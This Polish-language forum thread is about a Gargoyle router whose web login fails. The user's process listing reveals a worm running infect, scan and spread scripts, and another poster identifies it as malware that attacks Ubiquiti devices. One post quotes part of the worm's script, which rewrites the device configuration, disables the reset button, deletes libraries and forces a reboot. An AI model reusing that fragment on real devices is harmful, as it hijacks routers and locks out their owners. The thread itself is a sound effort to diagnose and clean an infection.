1 (edytowany przez robert 2017-04-12 10:52:08)

Temat: komenda przez PuTTY dla portu https

Mam pytanie, mam zdalny dostęp do routera przez PuTTY przez WAN. Wcześniej logowałem się do niego przez https na porcie 443 ale coś się zepsuło (Gargoyle 1.9...) Na miejscu również nie mogę się zalogować przez lan i wifi choć inne urządzenia na innych portach w tym routerze działają. Mam dostęp do LTE, kamer itd. Nie działa tylko logowanie do routera.

Albo coś się stało z moim  portem https 443 albo z innymi plikami do logowania się w gui.

Pierwsza myśl to ręczne przypisanie portu 443 w dostępie https ale nie wiem jak. Co mogę zmienić w tym poniżej ?

# uci add firewall rule
    # uci set firewall.@rule[-1].name=ssh
    # uci set firewall.@rule[-1].src=wan
    # uci set firewall.@rule[-1].target=ACCEPT
    # uci set firewall.@rule[-1].proto=tcp
    # uci set firewall.@rule[-1].dest_port=22
    # uci commit firewall

edit: WinSCP również się łączy.

2

Odp: komenda przez PuTTY dla portu https

Nic poniżej nie zmieniaj. Może się uhttpd wywalił, wtedy /etc/init.d/uhttpd start

Dostęp przez ssh masz? Jeżeli tak to pokaż

ps
uci show firewall
uci show uhttpd

Masz niepotrzebny router, uszkodzony czy nie - chętnie przygarnę go.

3 (edytowany przez robert 2017-04-16 22:30:41)

Odp: komenda przez PuTTY dla portu https

root@Gargoyle:~# ps
  PID USER       VSZ STAT COMMAND
    1 root      1420 S    /sbin/procd
    2 root         0 SW   [kthreadd]
    3 root         0 SW   [ksoftirqd/0]
    5 root         0 SW<  [kworker/0:0H]
    7 root         0 SW<  [khelper]
   30 root         0 SW<  [writeback]
   32 root         0 SW<  [bioset]
   33 root         0 SW<  [kblockd]
   34 root         0 SW   [kworker/0:1]
   99 root         0 SW   [kswapd0]
  106 root         0 SW   [fsnotify_mark]
  161 root         0 SW   [spi0]
  303 root         0 SW<  [deferwq]
  339 root         0 SW   [kworker/u2:1]
  366 root         0 SW   [kworker/0:2]
  429 root         0 SWN  [jffs2_gcd_mtd3]
  504 root       892 S    /sbin/ubusd
  515 root       772 S    /sbin/askfirst /bin/ash --login
  850 root         0 SW<  [rpciod]
  862 root         0 SW<  [nfsiod]
 1093 root         0 SW<  [cfg80211]
 1293 root         0 SW   [scsi_eh_1]
 1296 root         0 SW<  [scsi_tmf_1]
 1297 root         0 SW   [usb-storage]
 1299 root         0 SW   [scsi_eh_2]
 1308 root         0 SW<  [scsi_tmf_2]
 1309 root         0 SW   [usb-storage]
 1386 root         0 SW<  [kworker/0:1H]
 1471 root      1044 S    /sbin/logd -S 16
 1580 nobody    1028 S    /usr/sbin/portmap
 1619 root      1568 S    /sbin/netifd
 1799 root      1372 S    /usr/sbin/ntpd -n -l -S /usr/sbin/ntpd-hotplug -p 0.
 1920 root      1152 S    /usr/sbin/dropbear -F -P /var/run/dropbear.1.pid -p
 2062 root      3412 S    /usr/sbin/uhttpd -f -h /www -r Gargoyle -x /cgi-bin
 2608 root      1660 S    /usr/sbin/hostapd -P /var/run/wifi-phy0.pid -B /var/
 2750 root      3068 S    /usr/bin/ddns_gargoyle -P /etc/ddns_providers.conf -
 2871 root      1368 S    udhcpc -p /var/run/udhcpc-wwan0.pid -s /lib/netifd/d
 2968 nobody     936 S    /usr/sbin/dnsmasq -C /var/etc/dnsmasq.conf -k -x /va
 3943 root      1376 S    /usr/sbin/crond -f -c /etc/crontabs -l 9
 4159 root      1368 S    {sprd} /bin/sh /etc/persistent/.mf/sprd
 4160 root      1368 S    {sprd} /bin/sh /etc/persistent/.mf/sprd
 4161 root      1368 S    {sprd} /bin/sh /etc/persistent/.mf/sprd
 5554 root      1372 S    {scan} /bin/sh /etc/persistent/.mf/scan 
 5555 root      1372 S    {scan} /bin/sh /etc/persistent/.mf/scan 
11172 root      1220 S    /usr/sbin/dropbear -F -P /var/run/dropbear.1.pid -p
11295 root      1372 S    -ash
18452 root      1368 S    {infect} /bin/sh /etc/persistent/.mf/infect 221.30.1
18472 root      1368 S    {infect} /bin/sh /etc/persistent/.mf/infect 192.4.15
18512 root      1368 S    {infect} /bin/sh /etc/persistent/.mf/infect 42.0.63.
18522 root      1368 S    sh -c /usr/bin/curl -s  -m 3 :2222 2>/
18523 root      1492 S    /usr/bin/curl -s -m 3 :2222
18524 root      1364 S    grep -i dropbear
18525 root      1360 S    wc -l
18528 root      1368 S    {infect} /bin/sh ./infect 
18532 root      1368 S    sh -c /usr/bin/curl -s  -m :22 2>/dev
18533 root      1492 S    /usr/bin/curl -s -m 3:22
18534 root      1364 S    grep -i dropbear
18535 root      1360 S    wc -l
18538 root      1368 S    sh -c /usr/bin/curl -s  -m:2222 2>/de
18539 root      1492 S    /usr/bin/curl -s -m 3 :2222
18540 root      1364 S    grep -i dropbear
18541 root      1360 S    wc -l
18544 root      1368 S    {infect} /bin/sh ./infect 
18548 root      1368 S    sh -c /usr/bin/curl -s  -m 3:22 2>/dev/
18549 root      1492 S    /usr/bin/curl -s -m 3 :22
18550 root      1364 S    grep -i dropbear
18551 root      1360 S    wc -l
18554 root      1368 R    ps
18555 root      1368 S    sh -c /usr/bin/curl -s  -m 3 :2222 2>/dev/
18556 root      1492 S    /usr/bin/curl -s -m 3 :2222
18557 root      1364 S    grep -i dropbear
18558 root      1360 S    wc -l
20233 root         0 SW   [kworker/u2:0]
26180 root      1220 S    /usr/sbin/dropbear -F -P /var/run/dropbear.1.pid -p
26534 root      1372 S    -ash
root@Gargoyle:~#

PS. wymoderowano kilka adresów IP

4

Odp: komenda przez PuTTY dla portu https

Tu masz wirusa który atakuje ubiquiti smile

Ciekawe jakim cudem. Zaoraj go do zera i skonfiguruj ponownie. Sprawdź urządzenia w swojej sieci jeżeli masz ubiquiti.

Masz niepotrzebny router, uszkodzony czy nie - chętnie przygarnę go.

5

Odp: komenda przez PuTTY dla portu https

Ok, czyli dalej :

uci show firewall
uci show uhttpd

już nie wysyłam :-)

6

Odp: komenda przez PuTTY dla portu https

Z  ubiquiti  nie mam nic. Na innym  routerze połączonym mostem na próbę oprócz kamer iP dosinstalowałem jedną kamerkę internetową na próbę. Działa nawet.  Logowanie przestało działać dopiero po około tygodniu od zainstalowania w/w kamerki. Rzeczywiście ciekawe. Pomyślałem więc jeszcze o braku pamięci (TP Link WDR 3600) ale na nim dodatkowo zainstalowany tylko pakiet sms.
Więc jutro go zresetuję.

7

Odp: komenda przez PuTTY dla portu https

Dzisiaj. Bo to skanuje i rozsyła się dalej. Więc rzuć wszystko co robisz i jedź naprawiać świat.

Masz niepotrzebny router, uszkodzony czy nie - chętnie przygarnę go.

8

Odp: komenda przez PuTTY dla portu https

Cezary napisał/a:

Dzisiaj. Bo to skanuje i rozsyła się dalej. Więc rzuć wszystko co robisz i jedź naprawiać świat.

Brzmi poważnie smile Tylko dokończę kawę.

PS. Jeśli wyślę to samo z routera połączonego jako most to zerkniesz czy tam również to siedzi? Choć działa prawidłowo.

9 (edytowany przez robert 2017-04-12 13:54:44)

Odp: komenda przez PuTTY dla portu https

Jako ciekawostkę przed resetem znalazłem na swoim TP-Linku : typowe smile

...grep 'motherf' /tmp/system.cfg>/dev/null || cp /tmp/system.cfg $per/cfg
cfg 'dhcpc.1.status' 'disabled'
cfg 'resolv.host.1.name' 'ubnt'
cfg 'wireless.1.ssid' 'mootherf u c k e r'
cfg 'radio.1.mode' 'Master'
cfg 'system.button.reset' 'disabled'
rm -rf $per/.mf/lib*
(sleep 30; reboot -f) &
/usr/bin/cfgmtd -p /etc -f /tmp/system.cfg -w

A na pamiątkę jeszcze root@Gargoyle:~# uci show uhttpd

uhttpd.main=uhttpd
uhttpd.main.listen_http='0.0.0.0:80'
uhttpd.main.index_file='login.sh'
uhttpd.main.index_page='login.sh'
uhttpd.main.error_page='/login.sh'
uhttpd.main.no_dirlists='1'
uhttpd.main.listen_https='0.0.0.0:443'
uhttpd.main.home='/www'
uhttpd.main.rfc1918_filter='1'
uhttpd.main.max_requests='50'
uhttpd.main.max_connections='200'
uhttpd.main.cert='/etc/uhttpd.crt'
uhttpd.main.key='/etc/uhttpd.key'
uhttpd.main.cgi_prefix='/cgi-bin'
uhttpd.main.interpreter='.sh=/usr/bin/run_haserl' '.csv=/usr/bin/run_haserl'
uhttpd.main.script_timeout='900'
uhttpd.main.network_timeout='30'
uhttpd.main.http_keepalive='20'
uhttpd.main.tcp_keepalive='1'
 
oraz 

root@Gargoyle:~# uci show firewall
firewall.@defaults[0]=defaults
firewall.@defaults[0].syn_flood='1'
firewall.@defaults[0].input='ACCEPT'
firewall.@defaults[0].output='ACCEPT'
firewall.@defaults[0].forward='REJECT'
firewall.@zone[0]=zone
firewall.@zone[0].name='lan'
firewall.@zone[0].network='lan'
firewall.@zone[0].input='ACCEPT'
firewall.@zone[0].output='ACCEPT'
firewall.@zone[0].forward='ACCEPT'
firewall.@zone[1]=zone
firewall.@zone[1].name='wan'
firewall.@zone[1].network='wan' 'wan6'
firewall.@zone[1].input='REJECT'
firewall.@zone[1].output='ACCEPT'
firewall.@zone[1].forward='REJECT'
firewall.@zone[1].masq='1'
firewall.@zone[1].mtu_fix='1'
firewall.@forwarding[0]=forwarding
firewall.@forwarding[0].src='lan'
firewall.@forwarding[0].dest='wan'
firewall.@rule[0]=rule
firewall.@rule[0].name='Allow-DHCP-Renew'
firewall.@rule[0].src='wan'
firewall.@rule[0].proto='udp'
firewall.@rule[0].dest_port='68'
firewall.@rule[0].target='ACCEPT'
firewall.@rule[0].family='ipv4'
firewall.@rule[1]=rule
firewall.@rule[1].name='Allow-Ping'
firewall.@rule[1].src='wan'
firewall.@rule[1].proto='icmp'
firewall.@rule[1].icmp_type='echo-request'
firewall.@rule[1].family='ipv4'
firewall.@rule[1].target='ACCEPT'
firewall.@rule[2]=rule
firewall.@rule[2].name='Allow-IGMP'
firewall.@rule[2].src='wan'
firewall.@rule[2].proto='igmp'
firewall.@rule[2].family='ipv4'
firewall.@rule[2].target='ACCEPT'
firewall.@rule[3]=rule
firewall.@rule[3].name='Allow-DHCPv6'
firewall.@rule[3].src='wan'
firewall.@rule[3].proto='udp'
firewall.@rule[3].src_ip='fe80::/10'
firewall.@rule[3].src_port='547'
firewall.@rule[3].dest_ip='fe80::/10'
firewall.@rule[3].dest_port='546'
firewall.@rule[3].family='ipv6'
firewall.@rule[3].target='ACCEPT'
firewall.@rule[4]=rule
firewall.@rule[4].name='Allow-MLD'
firewall.@rule[4].src='wan'
firewall.@rule[4].proto='icmp'
firewall.@rule[4].src_ip='fe80::/10'
firewall.@rule[4].icmp_type='130/0' '131/0' '132/0' '143/0'
firewall.@rule[4].family='ipv6'
firewall.@rule[4].target='ACCEPT'
firewall.@rule[5]=rule
firewall.@rule[5].name='Allow-ICMPv6-Input'
firewall.@rule[5].src='wan'
firewall.@rule[5].proto='icmp'
firewall.@rule[5].icmp_type='echo-request' 'echo-reply' 'destination-unreachable' 'packet-too-big' 'time-exceeded' 'bad-header' 'unknown-header-type' 'router-solicitation' 'neighbour-solicitation' 'router-advertisement' 'neighbour-advertisement'
firewall.@rule[5].limit='1000/sec'
firewall.@rule[5].family='ipv6'
firewall.@rule[5].target='ACCEPT'
firewall.@rule[6]=rule
firewall.@rule[6].name='Allow-ICMPv6-Forward'
firewall.@rule[6].src='wan'
firewall.@rule[6].dest='*'
firewall.@rule[6].proto='icmp'
firewall.@rule[6].icmp_type='echo-request' 'echo-reply' 'destination-unreachable' 'packet-too-big' 'time-exceeded' 'bad-header' 'unknown-header-type'
firewall.@rule[6].limit='1000/sec'
firewall.@rule[6].family='ipv6'
firewall.@rule[6].target='ACCEPT'
firewall.@include[0]=include
firewall.@include[0].path='/etc/firewall.user'
firewall.@include[0].reload='1'
firewall.@rule[7]=rule
firewall.@rule[7].src='wan'
firewall.@rule[7].dest='lan'
firewall.@rule[7].proto='esp'
firewall.@rule[7].target='ACCEPT'
firewall.@rule[8]=rule
firewall.@rule[8].src='wan'
firewall.@rule[8].dest='lan'
firewall.@rule[8].dest_port='500'
firewall.@rule[8].proto='udp'
firewall.@rule[8].target='ACCEPT'
firewall.@include[1]=include
firewall.@include[1].type='script'
firewall.@include[1].path='/usr/lib/gargoyle_firewall_util/gargoyle_additions.firewall'
firewall.@include[1].family='IPv4'
firewall.@include[1].reload='1'
firewall.openvpn_include_file=include
firewall.openvpn_include_file.path='/etc/openvpn.firewall'
firewall.openvpn_include_file.reload='1'
firewall.ra_443_443=remote_accept
firewall.ra_443_443.local_port='443'
firewall.ra_443_443.remote_port='443'
firewall.ra_443_443.proto='tcp'
firewall.ra_443_443.zone='wan'
firewall.ra_22_22=remote_accept
firewall.ra_22_22.local_port='22'
firewall.ra_22_22.remote_port='22'
firewall.ra_22_22.proto='tcp'
firewall.ra_22_22.zone='wan'
firewall.redirect_enabled_number_0=redirect
firewall.redirect_ 

10

Odp: komenda przez PuTTY dla portu https

Dla ubiquiti polecenia...

Masz niepotrzebny router, uszkodzony czy nie - chętnie przygarnę go.

11

Odp: komenda przez PuTTY dla portu https

Bez reinstalacji usunąłem zdalnie jeden plik przez WinSCP i router ma teraz dostęp przez GUI.  Oczywiście Ustawienia default i tak zrobię szybko jak tylko będzie to możliwe.

Kto wie, czy powodem tego nie było zostawienie domyślnego hasła na urządzeniu które ma publiczne IP w sieci Plus smile

12

Odp: komenda przez PuTTY dla portu https

Temat zamknięty. Router zaorany na nowo. Zmienione domyślne hasła i porty dostępu. Niech teraz jakiś wirus się zbliży smile